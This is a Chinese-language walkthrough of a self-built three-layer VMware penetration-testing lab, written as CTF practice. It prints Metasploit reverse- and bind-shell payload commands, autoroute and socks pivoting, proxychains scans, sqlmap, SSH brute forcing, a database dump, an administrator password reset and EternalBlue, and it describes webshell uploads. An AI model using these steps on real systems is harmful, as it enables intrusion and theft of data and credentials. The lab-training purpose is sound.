三层网络靶场搭建&MSF内网渗透

 

在最近的CTF比赛中,综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但我们往往缺少多层网络的练习环境。本文通过VMware搭建3层网络,并通过msf进行内网渗透,涉及代理搭建,流量转发,端口映射等常见内网渗透技术。

 

网络拓扑

 

环境搭建

首先在虚拟机中新建3块网卡,选择仅主机模式

将kali设为第一层网络vmnet1

将第一层靶机设为双网卡vmnet1和vmnet2

将第二层靶机设置为双网卡:vmnet2和vmnet3:

将第三层靶机设为vmnet3:

至此,我们的3层网络环境就已经搭建完毕。

 

第一层靶机

Nmap探测一下,发现8080端口:

访问一下:

返现文件上传点,经测试没有任何过滤,可以直接上传任意文件,因此直接上传jsp一句话后门:

上传后返回文件路径,菜刀连接:

为了进一步做内网渗透,上传msf后门:

1、后门制作:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf

将shell.elf上传到第一层靶机192.168.59.129

2、MSF设置监听:

3、在第一层靶机运行shell.elf

Chmod 777 shell.elf
./shell.elf

4、Msf获得meterpreter,执行shell,查看网络配置,发现双网卡,第二层网络段为192.168.80.0/24

 

第二层靶机

首先利用第一层的meterpreter添加到第二层的路由:

run autoroute -s 192.168.80.0/24

然后利用msf进行第二层网络存活主机扫描:

use auxiliary/scanner/discovery/arp_sweep

发现第二层靶机 192.168.80.129。

接着利用msf搭建socks代理,好让攻击机直接打第二层网络:

use auxiliary/server/socks4a

然后在第一层网络配置相关socks4代理客户端:

Proxychain:

在配置文件/etc/proxychains.conf中添加:

socks4 192.168.59.128 9999

然后利用proxychans 启动nmap对第二层靶机进行扫描,这里注意一定要加上-Pn和-sT参数:

proxychains nmap -Pn -sT 192.168.80.129 -p1-1000

发现第二层主机开放22和80端口。

在Chrome中配置代理

访问第二层网络:

是一个typecho的 cms,尝试admin/admin等弱口令登陆后台,登陆成功:

个人信息处发现flag:

在设置中允许上传php

然后撰写文章,附件上传php webshell:

可以看到shell路径,用蚁剑连接,因为是第二层网络,所以得通过socks代理客户端去启动蚁剑,我用的是sockscap64:

在代理中配置代理服务器:

用蚁剑连接shell:

在网站根目录处发现flag

查看config.inc.php:

发现数据库口令123:

将数据库dump出来:

mysqldump -uroot -p123 typecho >/tmp/1.sql

在1.sql中发现flag:

第二层靶机还开放了22端口,尝试利用msf、hydra探测一下弱口令:

Hydra:

Msf:

use auxiliary/scanner/ssh/ssh_login

同样发现弱口令,同时msf可以直接获得一个meterpreter

获得flag:

在sockscap64中打开ssh客户端:

也可以利用root/123456登录,获得flag

同样,为了打进第三层,我们需要在第二层靶机上上传msf后门,

制作后门:

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4321 -f elf > shell1.elf

利用蚁剑上传,并在第二层靶机运行:

Chmod 777 ./shell1.elf
./shell1.elf

在msf上配置payload:

获得第二层meterpreter:

发现第三层网段192.168.226.0/24

然后利用这个meterpreter添加到第三层的网络路由:

run autoroute -s 192.168.226.0/24

在启用一个socks代理给第三层网络,端口开9998

然后在proxychains的配置文件中加上9998:

扫描一下第三层主机端口:

proxychains nmap -Pn -sT 192.168.226.129 -p1-1000

发现开放了80、445端口

 

第三层网络

在chrome 修改代理,端口改为9998

访问第三层网络

查询处存在SQL注入

抓包:

Proxychains 跑sqlmap

proxychains sqlmap -r test.txt

得到后台用户密码:admin/faka123

登录:

发现flag。接着在logo上传处发现任意文件上传:

直接上传木马,获得路径:

菜刀连接,网站根目录发现flag

发现网站开启了3389,同时是system权限:

直接修改administrator密码:

net user administrator 123456

再把第三层3389流量转发到代理服务器中:

访问远程桌面:

发现flag:

同时,该靶机开放445端口,试试永痕之蓝:

同样可以拿到shell。

至此,我们已经拿下3层网络中的全部机器。

(完)